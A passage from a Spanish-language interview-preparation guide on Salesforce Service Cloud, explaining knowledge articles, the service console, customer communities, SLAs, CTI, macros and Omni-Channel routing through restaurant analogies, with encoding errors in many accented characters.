4. ¬ŅC√≥mo pueden los usuarios de Service Cloud aprovechar los art√≠culos de conocimiento?

Piense en los usuarios de Service Cloud como bibliotecarios. Cuando un cliente tiene una pregunta, en lugar de hojear montones de libros o luchar para encontrar un experto, puede buscar el artículo de conocimiento correcto y tener las respuestas al alcance de su mano. Esto hace que ayudar a los clientes sea más rápido, más preciso y, sinceramente, mucho menos estresante.

5. ¬ŅPueden los clientes acceder a los art√≠culos de conocimiento? ¬ŅSi es as√≠, c√≥mo?

¬°Por supuesto que pueden! Puede configurar una comunidad de clientes o un sitio web p√ļblico donde estos art√≠culos est√©n disponibles. Los clientes pueden ingresar, buscar lo que necesitan y, a menudo, resolver sus propios problemas sin tener que levantar el tel√©fono o enviar un correo electr√≥nico.

Consola de servicio

1.¬ŅQu√© es la Consola de Servicio en Salesforce?

Ilustración de Chef y más Vectores Libres de Derechos de Adulto - Chef, Dibujos Animados, Gorro De Chef - iStock

Imag√≠nese ser chef en una cocina ocupada y bien equipada. La Consola de servicio es como su estaci√≥n de cocina, donde tiene sus ingredientes (datos del cliente), utensilios (herramientas y aplicaciones) y recetas (art√≠culos de conocimiento), todo en un solo lugar. Est√°s all√≠, cocinando varios platos (manejando varios casos de clientes) a la vez. ūüć≥ūüĎ©‚Äćūüć≥ūüĒ•

2. ¬ŅC√≥mo mejora la Consola de servicio la productividad de los agentes?

Si eres chef en una cocina, ¬Ņno ser√≠a m√°s f√°cil cocinar si todos tus ingredientes, utensilios y recetas estuvieran en un solo lugar? Eso es lo que hace la Consola de servicio por los agentes. Pone todo lo que necesitan en un solo lugar. Pueden chatear con los clientes, echar un vistazo al historial de su cuenta y comprobar sus pedidos, todo al mismo tiempo. ¬°Es como tener superpoderes, para que puedan ayudar a los clientes m√°s r√°pido y mejor!

3. ¬ŅSe puede personalizar la Consola de servicio? Si es as√≠, ¬Ņc√≥mo?

¬°Por supuesto! Al igual que puedes reorganizar las aplicaciones en tu tel√©fono, puedes modificar la Consola de servicio para adaptarla a tus necesidades. Todo esto se hace a trav√©s de algo llamado "Creador de aplicaciones", donde arrastra y suelta los componentes que desea. Es como jugar un juego en el que dise√Īas tu centro de mando.

Portales/comunidades de clientes y agentes:

1. ¬ŅQu√© es una comunidad de clientes en el contexto de Service Cloud?

Dibujo infantil de CCC, bloques de colores ‚Äď Catskill Community Center

Imag√≠nese un centro comunitario en un vecindario. Es un lugar donde los residentes se re√ļnen para discutir temas, compartir noticias, pedir prestado herramientas o incluso organizar eventos. Ahora, imagine si su empresa tuviera un ‚Äúcentro comunitario‚ÄĚ virtual para sus clientes. Esa es una comunidad de clientes en Salesforce. Es un espacio en l√≠nea donde sus clientes pueden reunirse para hacer preguntas, compartir ideas e incluso resolver problemas juntos. Tambi√©n pueden encontrar art√≠culos o anuncios √ļtiles que haya publicado, ¬°muy parecido a un tablero de anuncios comunitario!

2. ¬ŅEn qu√© se diferencian los portales de agentes de los portales/comunidades de clientes?

Cree un portal de socios, habilite la cuenta de socio y los usuarios y agregue

En el centro comunitario, piense en el Portal del Cliente/Comunidad como el sal√≥n principal donde todos se re√ļnen, conversan y comparten. El Portal del Agente, sin embargo, es como la oficina administrativa que da al sal√≥n principal. Desde esta oficina, sus agentes de servicio al cliente pueden observar lo que sucede en la comunidad, intervenir para ayudar cuando sea necesario o proporcionar recursos.

3. ¬ŅC√≥mo pueden los clientes utilizar las comunidades para autoservicio?

En una comunidad de clientes, los clientes pueden explorar los art√≠culos que usted ha proporcionado, encontrar respuestas a preguntas comunes o hacer una nueva pregunta que cualquier miembro de la comunidad puede responder. Esto les permite encontrar soluciones en su propio tiempo y t√©rminos, sin necesidad de llamar directamente a la ‚Äúoficina del administrador‚ÄĚ (contactar con soporte).

4. ¬ŅCu√°les son las mejores pr√°cticas para crear una comunidad de clientes?

La comunidad de clientes de Salesforce debe ser f√°cil de usar y proporcionar valor real. Aseg√ļrese de que sea de f√°cil acceso, con categor√≠as claras para la discusi√≥n y una amplia base de conocimientos. Actualice y modere peri√≥dicamente el contenido para garantizar que sea relevante y apropiado. Fomente la participaci√≥n reconociendo a los miembros activos u organizando eventos o desaf√≠os comunitarios.

Flujo de trabajo y automatización

1. ¬ŅSe puede automatizar el enrutamiento de casos? ¬ŅSi es as√≠, c√≥mo?

En Service Cloud, los casos se pueden enrutar autom√°ticamente. Puede establecer criterios, como si un caso proviene de un cliente VIP, va directamente a su mejor agente, o si es un problema com√ļn, va a cualquier agente disponible. De esta manera, todos reciben un servicio eficiente y eficaz.

2. ¬ŅC√≥mo se automatiza el seguimiento del acuerdo de nivel de servicio (SLA) en Service Cloud?

¬ŅEst√°s preparado para Domino's... - Domino's Pizza Bangladesh | Facebook

Imag√≠nese el restaurante prometiendo que cada pedido se servir√° en 30 minutos o, de lo contrario, ser√° gratis. Para cumplir esta promesa, tienen un sistema que inicia una cuenta regresiva en el momento en que se realiza un pedido y alerta al gerente si llega a los 25 minutos. Service Cloud puede realizar un seguimiento de los SLA de forma similar. Puede establecer los plazos en los que los casos deben resolverse seg√ļn su nivel de prioridad y automatizar recordatorios, escalamientos u otras acciones si esos plazos se acercan o no se cumplen. ¬°Mantiene al equipo responsable y a los clientes contentos!

3. ¬ŅPodr√≠a definir la Gesti√≥n de derechos en el contexto de Salesforce Service Cloud?

La gestión de derechos en Salesforce Service Cloud es una función que ayuda a las empresas a definir, hacer cumplir y realizar un seguimiento de los acuerdos de nivel de servicio (SLA) con sus clientes. Permite a las empresas establecer el nivel de soporte al que tiene derecho un cliente, en función de factores como garantías de productos, contratos de servicio o planes de soporte. Esta característica garantiza que los clientes reciban el soporte al que tienen derecho dentro del plazo acordado.

4. ¬ŅPuedes explicar la funcionalidad de Visual SLA Timelines?

Los cronogramas visuales de SLA en Salesforce Service Cloud ofrecen una representaci√≥n gr√°fica de los cronogramas asociados con cada SLA. Ayudan a los agentes de servicio a visualizar el tiempo restante necesario para resolver un caso seg√ļn el SLA asociado. Esto permite a los agentes priorizar su trabajo de manera efectiva y garantizar el cumplimiento de los t√©rminos del SLA.

Informes y paneles

1. ¬ŅC√≥mo mejoran los informes y paneles las operaciones de servicio?

Imag√≠nese que al final de cada d√≠a, el gerente recibe un resumen de todo lo sucedido: cu√°ntos clientes llegaron, cu√°l fue el plato m√°s popular, cu√°ntos elogios o quejas se recibieron, etc. En Service Cloud, los informes y paneles son como este resumen diario. Ofrecen a los directivos una visi√≥n r√°pida pero completa de c√≥mo van las cosas. ¬ŅLos clientes esperan demasiado? ¬ŅAlgunos problemas se resuelven m√°s r√°pido que otros? Esta informaci√≥n ayuda al equipo a saber qu√© funciona y qu√© no, para que puedan mejorar su "servicio".

2. ¬ŅSe puede realizar un seguimiento del rendimiento de los agentes con Service Cloud? Si es as√≠, ¬Ņc√≥mo?

Service Cloud le permite realizar un seguimiento del desempe√Īo de sus agentes. Puede ver cu√°ntos casos han resuelto, qu√© tan r√°pido est√°n trabajando e incluso c√≥mo los clientes califican su servicio. Es como un gr√°fico de desempe√Īo para los camareros, pero para sus agentes de servicio.

3. ¬ŅCu√°les son algunas m√©tricas de servicio comunes que puede rastrear en Service Cloud?

En el mundo de Service Cloud, las métricas comunes incluyen cosas como

  • tiempo promedio de resoluci√≥n de casos
  • puntuaciones de satisfacci√≥n del cliente
  • tasas de resoluci√≥n del primer contacto
  • vol√ļmenes de casos por tipo o fuente

Integración de CTI y telefonía

1. ¬ŅQu√© es la Integraci√≥n Telef√≥nica Computadora (CTI)?

Representante De Servicio Al Cliente De Dibujos Animados De Forma Tridimensional De Persona De Negocios - Banco de fotos e im√°genes de stock - iStock

Es un t√©rmino para un sistema que permite que las computadoras interact√ļen con los tel√©fonos. Significa que cuando alguien llama, el sistema de atenci√≥n al cliente sabe inmediatamente qui√©n es y cu√°l es su historial con la empresa.

2.¬ŅC√≥mo mejora CTI el servicio al cliente?

En el restaurante sin CTI, cada llamada de un cliente ser√≠a como una reuni√≥n de camareros durante la cena por primera vez. Tendr√≠an que volver a hacer todas las preguntas b√°sicas: "¬ŅTiene alguna alergia?" ‚Äú¬ŅPrefieres asiento junto a la ventana o en el pasillo?‚ÄĚ etc√©tera. Con CTI, es como si el camarero ya te conociera. Te saludan por tu nombre, recuerdan que eres al√©rgico al man√≠, saben que te gusta el queso extra y tienen lista tu mesa favorita. En t√©rminos de atenci√≥n al cliente, esto ahorra tiempo, personaliza la experiencia del cliente.

3. ¬ŅPuede darnos un ejemplo de c√≥mo se utiliza CTI en un escenario de call center?

Cuando un cliente llama, la pantalla del agente muestra inmediatamente el nombre del cliente, su historial de compras, problemas anteriores y cualquier otra información relevante. Luego, el agente puede saludar al cliente por su nombre y atender sus necesidades de manera proactiva, a veces incluso antes de que el cliente indique por qué llama. Se trata de hacer que la experiencia de servicio sea fluida y placentera, como tener la mejor mesa lista incluso antes de entrar.

Servicio al cliente en redes sociales

1. ¬ŅQu√© es el servicio al cliente social en Salesforce?

¬ŅSabes c√≥mo puedes chatear con amigos y ver qu√© est√°n haciendo en las redes sociales? Salesforce permite a las empresas hacer lo mismo con sus clientes. Pueden revolotear y ver lo que la gente dice sobre ellos en las redes sociales.

2. ¬ŅC√≥mo pueden los agentes utilizar Salesforce para responder a las consultas de los clientes en las redes sociales?

Ya sea que los clientes tuiteen, publiquen en Facebook o compartan historias de Instagram sobre sus experiencias o problemas, los agentes no tienen que desplazarse de una plataforma a otra. Pueden responder a todas estas publicaciones sociales desde su 'colmena' de Salesforce, asegur√°ndose de que nadie se sienta ignorado y que cada problema se resuelva r√°pidamente.

3. ¬ŅPuedes realizar un seguimiento de las conversaciones de las redes sociales en Service Cloud?

¬°Absolutamente! Service Cloud controla todas las conversaciones que ocurren entre la empresa y los clientes en las plataformas sociales. Recuerda qui√©n dijo qu√©, almacena informaci√≥n sobre los problemas del cliente e incluso c√≥mo se resolvi√≥. De esta manera, si el cliente vuelve a comunicarse, la empresa no hace las mismas preguntas de siempre, sino que contin√ļa la conversaci√≥n justo donde la dej√≥, como si retrocediera en el historial de chat con un amigo.

Chat y mensajería

1. ¬ŅC√≥mo funciona Live Agent en Service Cloud?

Imagínese si estuviera comprando en una gran tienda y en lugar de tener que buscar ayuda por todo el lugar, apareciera un asistente personal a su lado en el momento en que parecía confundido. Así es Live Agent en el mundo online. Es una característica de Service Cloud que permite a los agentes de servicio al cliente chatear en tiempo real con los clientes mientras están en el sitio web para responder preguntas, dar consejos o ayudarlos a encontrar lo que necesitan.

2. ¬ŅCu√°les son los beneficios de utilizar el chat para atenci√≥n al cliente?

Los clientes obtienen atención instantánea y sus preguntas pueden responderse de inmediato. Además, es muy conveniente porque pueden hacer otras cosas mientras conversan. Para las empresas, significa que pueden manejar varios chats a la vez, lo que es como poder ayudar a varios clientes al mismo tiempo en diferentes líneas de pago.

3. ¬ŅSe pueden automatizar las respuestas en Live Agent?

S√≠, si alguien dice "hola", el sistema puede decir autom√°ticamente "¬°Hola!". ¬ŅC√≥mo puedo ayudarte hoy?" Est√° programado para reconocer palabras o preguntas espec√≠ficas y luego proporcionar una respuesta preestablecida. Esto significa que el agente no tiene que escribir las mismas respuestas una y otra vez y los clientes obtienen respuestas ultrarr√°pidas a preguntas comunes.

4. ¬ŅC√≥mo maneja Salesforce los mensajes SMS para el servicio de atenci√≥n al cliente?

Salesforce aporta esa comodidad al servicio al cliente. Con las funciones de mensajería SMS, las empresas pueden enviar mensajes de texto a los clientes y los clientes pueden responder. Pueden enviar recordatorios de citas, confirmaciones, actualizaciones rápidas o incluso responder preguntas, todo a través de mensajes de texto. Todo se rastrea y almacena en Salesforce, para que la empresa no pierda la conversación.

Integración de correo electrónico

1. ¬ŅC√≥mo se utiliza el correo electr√≥nico en Service Cloud?

No se trata sólo de enviar y recibir correos electrónicos; es un sistema completo que gestiona las comunicaciones por correo electrónico con los clientes. Puede mantener un historial de todas las interacciones, para saber exactamente qué se dijo y cuándo.

2. ¬ŅPuedes automatizar las respuestas por correo electr√≥nico?

– ¬°Absolutamente! Seg√ļn ciertas palabras clave en el correo electr√≥nico del cliente o criterios espec√≠ficos, el sistema puede enviar una respuesta escrita previamente. Es instant√°neo, por lo que los clientes no tienen que esperar y les da a los agentes reales m√°s tiempo para manejar los problemas complejos que necesitan un toque humano.

3. ¬ŅC√≥mo se asegura de que los correos electr√≥nicos de los clientes se env√≠en a los agentes adecuados?

Utilice el enrutamiento de correo electr√≥nico en Service Cloud. Usando las reglas que usted configura, los correos electr√≥nicos se pueden dirigir a ciertos agentes seg√ļn el contenido del correo electr√≥nico, la informaci√≥n del cliente o incluso la carga de trabajo de cada agente.

Soporte Móvil

1. ¬ŅC√≥mo respalda Salesforce el servicio al cliente m√≥vil?

Con la aplicación móvil Salesforce, todo lo que puede hacer en su escritorio, ahora puede hacerlo en su teléfono: verificar los detalles del cliente, actualizar casos o incluso chatear con los clientes.

2. ¬ŅCu√°les son las limitaciones del servicio al cliente m√≥vil en Salesforce?

Dibujos animados y cómics de Parking Boot - imágenes divertidas de CartoonStock

Si bien la aplicaci√≥n m√≥vil Salesforce es s√ļper poderosa, es un poco como intentar colocar una nave espacial en un lugar de estacionamiento. Algunas tareas o informes complejos pueden resultar dif√≠ciles de navegar en una pantalla m√°s peque√Īa y es posible que ciertas personalizaciones no se muestren como lo hacen en un escritorio.

Métricas y análisis de rendimiento

1. ¬ŅC√≥mo se mide la satisfacci√≥n del cliente en Service Cloud?

En Service Cloud, no solo responde las consultas de los clientes y espera que est√©n satisfechos; lo verifica utilizando herramientas como encuestas, puntajes CSAT y Net Promoter Scores (NPS). Puede enviarlos autom√°ticamente despu√©s de que se resuelva un caso. Es como preguntar: "¬ŅQu√© le pareci√≥ nuestro servicio?" ¬°para que puedas seguir viviendo esa experiencia de servicio cinco estrellas!

2. ¬ŅQu√© es una puntuaci√≥n de satisfacci√≥n del cliente (CSAT)?

CSAT es como preguntarle a sus clientes, en una escala del 1 al 5. Es una puntuación que los clientes otorgan en función de su satisfacción con una interacción específica que tuvieron con su equipo de servicio. Cuanto mayor sea la puntuación, mejor trabajo hizo para cumplir (¡o superar!) sus expectativas.

3. ¬ŅQu√© es Net Promoter Score (NPS) y c√≥mo se utiliza en Salesforce?

NPS es como preguntar a sus comensales: "¬ŅRecomendar√≠a nuestro restaurante a otras personas?" y luego, dependiendo de su respuesta, se agrupan en Promotores, Pasivos o Detractores. No se trata s√≥lo de un plato de sopa; ¬°Lo importante es si toda la experiencia gastron√≥mica les hace querer cont√°rselo a sus amigos! En Salesforce, puede enviar encuestas NPS y luego realizar un seguimiento de su puntuaci√≥n a lo largo del tiempo, con el objetivo siempre de mejorar la experiencia del curso completo.

4. ¬ŅSe pueden integrar herramientas de encuestas externas con Salesforce?

Puede integrarlo con herramientas de encuestas externas que quiz√°s ya est√© utilizando o prefiera, como SurveyMonkey o Google Forms. De esta manera, re√ļne todos esos comentarios cruciales en un solo lugar, lo que facilita ver el panorama general y tomar decisiones informadas.

Inteligencia artificial (IA)

1. ¬ŅQu√© es Salesforce Einstein y c√≥mo se aplica a Service Cloud?

Salesforce Einstein utiliza IA para analizar las diferentes interacciones y datos, predecir las necesidades de los clientes e incluso automatizar las respuestas.

2. ¬ŅC√≥mo funcionan los Bots de Einstein?

Se encargan de las tareas sencillas y rutinarias del servicio de atención al cliente, como responder preguntas comunes o guiar a un usuario a través de un proceso establecido.

3. ¬ŅPuede Einstein sugerir respuestas a los agentes?

Es como un manual dinámico e inteligente que no sólo tiene todas las respuestas sino que también sabe exactamente cuándo proporcionarlas. Analiza el problema del cliente y proporciona al agente la mejor respuesta o solución, acelerando el servicio y asegurándose de que las "comidas" de su servicio al cliente sean siempre deliciosas.

Servicio de campo

1. ¬ŅQu√© es Field Service Lightning?

Vector libre | Banner de camión de comida de estilo de dibujos animados

Imagina que organizas un festival de camiones de comida, donde varios camiones sirven diferentes delicias por todo el lugar. Ahora, Field Service Lightning (FSL) es como tener un coordinador de eventos s√ļper organizado que sabe qu√© cami√≥n de comida est√° d√≥nde, qu√© sirven, qui√©n est√° disponible para servir delicias y qui√©n se toma un descanso. ¬°Se trata de administrar su equipo sobre la marcha, asegur√°ndose de que tengan los "ingredientes" correctos (herramientas, piezas) para resolver cualquier desaf√≠o "culinario" (problema del cliente) que encuentren en el campo!

2.¬ŅC√≥mo se integra Field Service Lightning con Service Cloud?

Field Service Lightning, cuando se integra con Service Cloud, brinda información en tiempo real hacia y desde las unidades móviles (FSL), para que todos sepan lo que sucede a su alrededor.

3. ¬ŅPuede programar y enviar agentes de servicio de campo utilizando Salesforce?

¬°Absolutamente! Puede planificar horarios, asignar agentes a diferentes trabajos y asegurarse de que est√©n listos para mejorar sus especialidades seg√ļn sea necesario. Y si hay una prisa repentina, el sistema puede redirigir a los agentes desde lugares menos concurridos para que ayuden, equilibrando la carga de trabajo y manteniendo contentos a los clientes.

Claro, profundicemos en las macros en Service Cloud de Salesforce con un enfoque conversacional fácil de recordar. ¡Imagínate que estamos charlando en tu cafetería favorita!

macros

1.¬ŅQu√© es una macro en Salesforce Service Cloud?

Es un atajo genial que realiza tareas repetitivas por ti. Entonces, si te encuentras haciendo los mismos clics una y otra vez, una macro dice: "¬°Oye, ya tengo esto!". ¬°Y listo!

2. ¬ŅTodos pueden usar mis Macros?

Si los mantiene p√ļblicos, cualquiera puede usarlos. Pero si cree que su macro es secreta, puede guard√°rsela para usted. En Salesforce, se trata de establecer permisos y compartir configuraciones.

3. ¬ŅPueden las macros interactuar con aplicaciones de terceros en Salesforce?

‚Äď Directamente, no. Las macros est√°n dise√Īadas para automatizar las funcionalidades est√°ndar de Salesforce.

4. ¬ŅEs posible deshacer las acciones de una Macro una vez ejecutada?

No, no hay un botón "deshacer" para las macros. Una vez que se ejecuta una macro, sus acciones se consideran definitivas.

5. ¬ŅSe pueden programar las macros para que se ejecuten a una hora espec√≠fica?

No, las macros no se pueden programar. Son como un conjunto de herramientas manuales que requieren que alguien las utilice activamente; no funcionan con un temporizador autom√°tico.

6. ¬ŅQu√© tipo de acciones no puedes realizar con una Macro?

Las macros no pueden manejar procesos complejos de toma de decisiones, interactuar con sistemas externos ni crear registros.

7. ¬ŅC√≥mo se organizan y gestionan las Macros para un equipo de agentes en Service Cloud?

Utilice carpetas para organizar y compartir colecciones de macros.

8. ¬ŅSe puede modificar una macro activa? ¬ŅHay que tomar alguna precauci√≥n?

Sí, puede editar una macro y probar las modificaciones antes de su uso generalizado.

9. ¬ŅEs posible asignar Macros espec√≠ficas a usuarios o perfiles espec√≠ficos?

Si bien no puede asignar una macro directamente a usuarios específicos, puede controlar el acceso utilizando las carpetas de macros y la configuración de uso compartido de Salesforce.

10. ¬ŅC√≥mo se relacionan las macros con la API de Salesforce?

Las macros no interact√ļan directamente con la API de Salesforce. Funcionan dentro de la interfaz de usuario, automatizando las acciones manuales del usuario.

11. ¬ŅSe pueden utilizar las macros junto con Salesforce Flows?

Las macros y los flujos tienen diferentes propósitos. Mientras que las Macros automatizan las acciones del usuario, los Flujos automatizan los procesos en el backend.

12. ¬ŅC√≥mo funciona el manejo de errores con Macros?

Si una macro encuentra un problema durante la ejecución, se detiene y se muestra un mensaje de error.

13. ¬ŅPueden los usuarios sin privilegios de administrador crear o modificar macros?

Los usuarios pueden crear macros personales, pero crear o modificar macros compartidas normalmente requiere ciertos permisos o privilegios de administrador.

14. ¬ŅExiste alguna forma de realizar un seguimiento de los cambios realizados por una Macro?

No existe un mecanismo de seguimiento directo para las macros, pero puede utilizar las funciones de seguimiento de auditoría estándar de Salesforce para ver los cambios en los registros.

15. ¬ŅCu√°l es el papel de las instrucciones macro en el proceso de creaci√≥n?

Las instrucciones macro son el corazón de la macro y dictan qué acciones realiza. Elaborarlos es como escribir una lista detallada de tareas pendientes para otra persona; es necesario especificar cada paso de forma clara y en orden.

29. ¬ŅPuedes usar macros para enviar correos electr√≥nicos con archivos adjuntos?

No, las macros pueden automatizar el proceso de envío de un correo electrónico, pero no pueden agregar archivos adjuntos.

Omnicanal

1. ¬ŅPuedes explicar qu√© es OmniCanal en Salesforce?

Conozca todo sobre: OmniCanal en Salesforce

OmniCanal es una característica de Salesforce que permite la gestión de elementos de trabajo entrantes desde diferentes canales de comunicación. Se trata de dirigir el trabajo adecuado a los agentes adecuados en el momento adecuado, en función de su disponibilidad y capacidad, garantizando que las cargas de trabajo se gestionen de manera eficiente.

2: ¬ŅC√≥mo beneficia OmniCanal a un equipo de servicio al cliente?

OmniChannel ayuda a los equipos de servicio al cliente al distribuir el trabajo de manera uniforme entre los agentes, reducir los tiempos de espera de los clientes y permitir que los agentes manejen el trabajo desde varios canales dentro de una sola plataforma. Este enfoque simplificado conduce a un mejor servicio al cliente y una mayor productividad de los agentes.

3. ¬ŅCu√°l es la diferencia entre OmniCanal y distribuci√≥n del trabajo tradicional?

La distribuci√≥n tradicional del trabajo a menudo implica una asignaci√≥n manual, lo que puede llevar mucho tiempo y ser ineficiente. OmniChannel, por otro lado, dirige autom√°ticamente el trabajo a los agentes m√°s adecuados seg√ļn criterios preestablecidos y la disponibilidad de los agentes en tiempo real, lo que hace que el proceso sea m√°s r√°pido y eficiente.

4. ¬ŅPuede explicar el ‚ÄúEstado de presencia‚ÄĚ en OmniCanal?

‚ÄúEstado de presencia‚ÄĚ se refiere a la disponibilidad actual de un agente para recibir trabajo. Los agentes pueden configurar su estado para mostrar si est√°n disponibles, ocupados o ausentes, y OmniCanal utiliza esta informaci√≥n para enrutarles el trabajo en consecuencia.

5. ¬ŅC√≥mo garantiza OmniCanal que los casos de alta prioridad se manejen r√°pidamente?

OmniCanal permite a los administradores establecer niveles de prioridad para diferentes tipos de trabajo. Cuando llegan elementos de trabajo, se enrutan autom√°ticamente seg√ļn estos niveles de prioridad. Los elementos de alta prioridad se env√≠an al principio de la cola para que se atiendan m√°s r√°pido.

6. ¬ŅSe puede integrar OmniCanal con otras funciones de Salesforce?

Sí, OmniCanal se integra perfectamente con otras funciones de Salesforce. Por ejemplo, funciona con Service Cloud para gestionar procesos de atención al cliente, Sales Cloud para procesos de ventas e incluso aplicaciones personalizadas de Salesforce.

7. ¬ŅC√≥mo admite OmniCanal los diferentes canales de comunicaci√≥n?

OmniCanal es versátil al admitir varios canales de comunicación como correo electrónico, chat, SMS y redes sociales. Dirige todos estos diferentes tipos de trabajo a los agentes a través de la misma plataforma, garantizando un enfoque unificado del servicio al cliente.

8. ¬ŅPuede describir un escenario en el que el enrutamiento omnicanal podr√≠a resultar beneficioso?

Imagine un escenario en el que hay un gran volumen de solicitudes de servicio entrantes y una cantidad limitada de agentes disponibles. OmniCanal dirige eficientemente las solicitudes a los agentes disponibles seg√ļn sus habilidades, carga de trabajo y prioridad de los casos, garantizando una carga de trabajo equilibrada y respuestas oportunas.

9. ¬ŅCu√°les son los tipos de Omni Channel?

Basado en cola ‚Üí Asignar agentes a la cola

Basado en habilidades ‚Üí Asignar habilidades a los agentes

Enrutamiento externo → Configuración de enrutamiento de terceros

10. ¬ŅC√≥mo configurar Omni Channel?

  1. Habilite OmniCanal.
  2. Crear canales de atención.
  3. Cree configuraciones de enrutamiento.
  4. Asociar configuraciones de enrutamiento y agentes con colas.
  5. Crear configuraciones de presencia.
  6. Crear estados de presencia.
  7. Agregue el widget omnicanal.

11. ¬ŅC√≥mo crear un Canal de Atenci√≥n?

Se puede crear un canal de servicio para cualquier objeto de Salesforce, como un caso, cliente potencial, sesión SOS o objeto personalizado.

12. ¬ŅC√≥mo crear una configuraci√≥n de enrutamiento?

Las configuraciones de enrutamiento determinan cómo se enrutan los elementos de trabajo a los agentes.

Util√≠celos para priorizar la importancia relativa y el tama√Īo de los elementos de trabajo de sus colas.

13. ¬ŅExplicar los ajustes de configuraci√≥n de enrutamiento?

Prioridad de ruta:

El orden en el que los elementos de trabajo de la cola asociados con esta configuraci√≥n de enrutamiento se enrutan a los agentes. Los objetos en colas con un n√ļmero menor se enrutan primero a los agentes.

Modelo de enrutamiento:

Determina cómo se enrutan los elementos de trabajo entrantes a los agentes asignados al canal de servicio de configuración.

Tiempo de espera de empuje (segundos):

Establece un límite de tiempo para que un agente responda a un elemento antes de enviarlo a otro agente.

Unidades de Capacidad:

Cantidad de capacidad total del agente.

Preguntas basadas en escenarios

1. ¬ŅC√≥mo dise√Īar√≠a una soluci√≥n para respaldar a un equipo de soporte multiling√ľe que utiliza Service Cloud?

Service Cloud de Salesforce admite equipos multiling√ľes mediante el uso de funciones como Translation Workbench, que le permite traducir objetos est√°ndar y personalizados, reglas de validaci√≥n, etiquetas de campo y m√°s, a cualquiera de los idiomas admitidos.

Además, los artículos de conocimiento se pueden escribir y traducir a varios idiomas, lo que permite a los agentes de soporte acceder y proporcionar información en varios idiomas.

Tambi√©n puede configurar OmniCanal para enrutar casos a los agentes adecuados seg√ļn sus habilidades ling√ľ√≠sticas. De esta manera, los clientes pueden interactuar con el soporte en su idioma preferido, mejorando la satisfacci√≥n del cliente.

2. ¬ŅPuede explicarme el proceso de dise√Īo de una soluci√≥n de Service Cloud que incorpore reglas de escalamiento de casos y SLA para garantizar una resoluci√≥n oportuna del caso?

  1. Es necesario definir los SLA, es decir, el tiempo dentro del cual se deben resolver casos de ciertos tipos o prioridades.
  2. Una vez definidos, configurará los procesos de derechos para especificar el cronograma para cada etapa de resolución del caso.
  3. Luego, usaría Milestones dentro de estos procesos para rastrear si los casos se están resolviendo dentro de los SLA definidos.
  4. Las reglas de escalamiento de casos se usar√≠an para escalar casos que est√©n en peligro de violar sus SLA. Estos se pueden configurar para escalar seg√ļn la antig√ľedad del caso, la prioridad o incluso si el caso ha estado inactivo. Los casos escalados pueden luego remitirse autom√°ticamente a agentes o supervisores con m√°s experiencia para recibir atenci√≥n urgente.

3. ¬ŅC√≥mo abordar√≠a el dise√Īo de una soluci√≥n para un centro de llamadas a gran escala que necesita gestionar grandes vol√ļmenes de casos y llamadas?

‚Äď Para los centros de llamadas de gran volumen, le conviene aprovechar la funci√≥n OmniCanal de Service Cloud, que garantiza que los casos se dirijan a los agentes adecuados seg√ļn su disponibilidad y conjunto de habilidades, lo que ayuda a gestionar la carga de trabajo de manera eficiente. La integraci√≥n de la telefon√≠a mediante Open CTI permite a los agentes recibir y realizar llamadas directamente dentro de Salesforce, garantizando que tengan toda la informaci√≥n relevante del cliente al alcance de su mano.

4. ¬ŅCu√°l es su experiencia con la integraci√≥n de aplicaciones de terceros en Service Cloud y c√≥mo ha abordado la soluci√≥n de problemas de integraci√≥n en el pasado?

Mi enfoque implica primero garantizar que la aplicación de terceros tenga una documentación API sólida y cumpla con las mejores prácticas de seguridad y cumplimiento. Salesforce ofrece varias formas de integración, como mediante API REST o SOAP, servicios externos o incluso mediante aplicaciones AppExchange, si están disponibles.

5. ¬ŅC√≥mo dise√Īar√≠a una soluci√≥n que utilice Service Cloud para rastrear la opini√≥n del cliente e incorporar esa informaci√≥n en los flujos de trabajo de gesti√≥n de casos?

Service Cloud puede integrarse con herramientas que ofrecen análisis de sentimientos, incluido Einstein Sentiment de Salesforce. Al analizar el texto de las interacciones con los clientes (correos electrónicos, transcripciones de chat, publicaciones en redes sociales), se puede determinar el sentimiento (positivo, neutral, negativo). Estos datos de opinión se pueden almacenar como un campo en el objeto Caso o en un objeto personalizado relacionado.

6. ¬ŅPuede dar un ejemplo de c√≥mo ha utilizado Service Cloud para mejorar las capacidades de autoservicio del cliente y reducir la cantidad de solicitudes de soporte entrantes?

Una estrategia eficaz es implementar una comunidad o portal de clientes utilizando Salesforce Community Cloud, integrado con Service Cloud. Aquí se puede acceder a los artículos de la base de conocimientos, lo que permite a los clientes encontrar respuestas a sus preguntas. También se pueden crear casos directamente desde la comunidad y los clientes pueden verificar su estado sin necesidad de comunicarse con el soporte. La implementación de un chatbot a través de Einstein Bots también puede desviar consultas rutinarias al proporcionar respuestas automáticas a preguntas comunes.

7. ¬ŅHas trabajado con Service Cloud Voice? ¬ŅC√≥mo ha utilizado esta tecnolog√≠a para mejorar el rendimiento del call center y la satisfacci√≥n del cliente?

Service Cloud Voice integra la telefon√≠a en Salesforce, brindando una vista unificada del cliente y transcripci√≥n de llamadas en tiempo real. Esto permite a los agentes centrarse m√°s en el cliente que en tomar notas. La transcripci√≥n en tiempo real, impulsada por Einstein, tambi√©n puede proporcionar sugerencias para el siguiente paso, ayudando a los agentes m√°s nuevos. La conclusi√≥n posterior a la llamada se acelera porque los datos de la llamada ya est√°n en Salesforce, lo que reduce el trabajo posterior a la llamada y, en consecuencia, los tiempos de espera para los clientes. Los datos hist√≥ricos de llamadas brindan informaci√≥n valiosa para el an√°lisis de la opini√≥n del cliente y el desempe√Īo de los agentes, lo que impacta positivamente la capacitaci√≥n y la satisfacci√≥n del cliente.

8. ¬ŅC√≥mo abordar√≠a el dise√Īo de una soluci√≥n para una empresa que opera en varios pa√≠ses con diferentes regulaciones de privacidad de datos?

‚Äď El cumplimiento de diversas normas de privacidad de datos se puede gestionar en Service Cloud mediante el uso de funciones como opciones de residencia de datos para almacenar datos en regiones espec√≠ficas, enmascaramiento de datos, cifrado, seguridad a nivel de campo y reglas de acceso a registros para controlar qui√©n puede acceder a qu√© datos.

9. ¬ŅC√≥mo ha abordado los problemas de escalabilidad y rendimiento al dise√Īar soluciones de Service Cloud para grandes empresas?

  • Para las grandes empresas, las consideraciones incluyen la gesti√≥n del volumen de datos, el uso de las herramientas de optimizaci√≥n del rendimiento integradas de Salesforce y la revisi√≥n peri√≥dica de la organizaci√≥n para eliminar configuraciones y personalizaciones obsoletas.
  • Tambi√©n es importante dise√Īar con una mentalidad de ‚Äúclics, no c√≥digo‚ÄĚ para minimizar el c√≥digo personalizado, que puede introducir complejidad y sobrecarga de rendimiento.
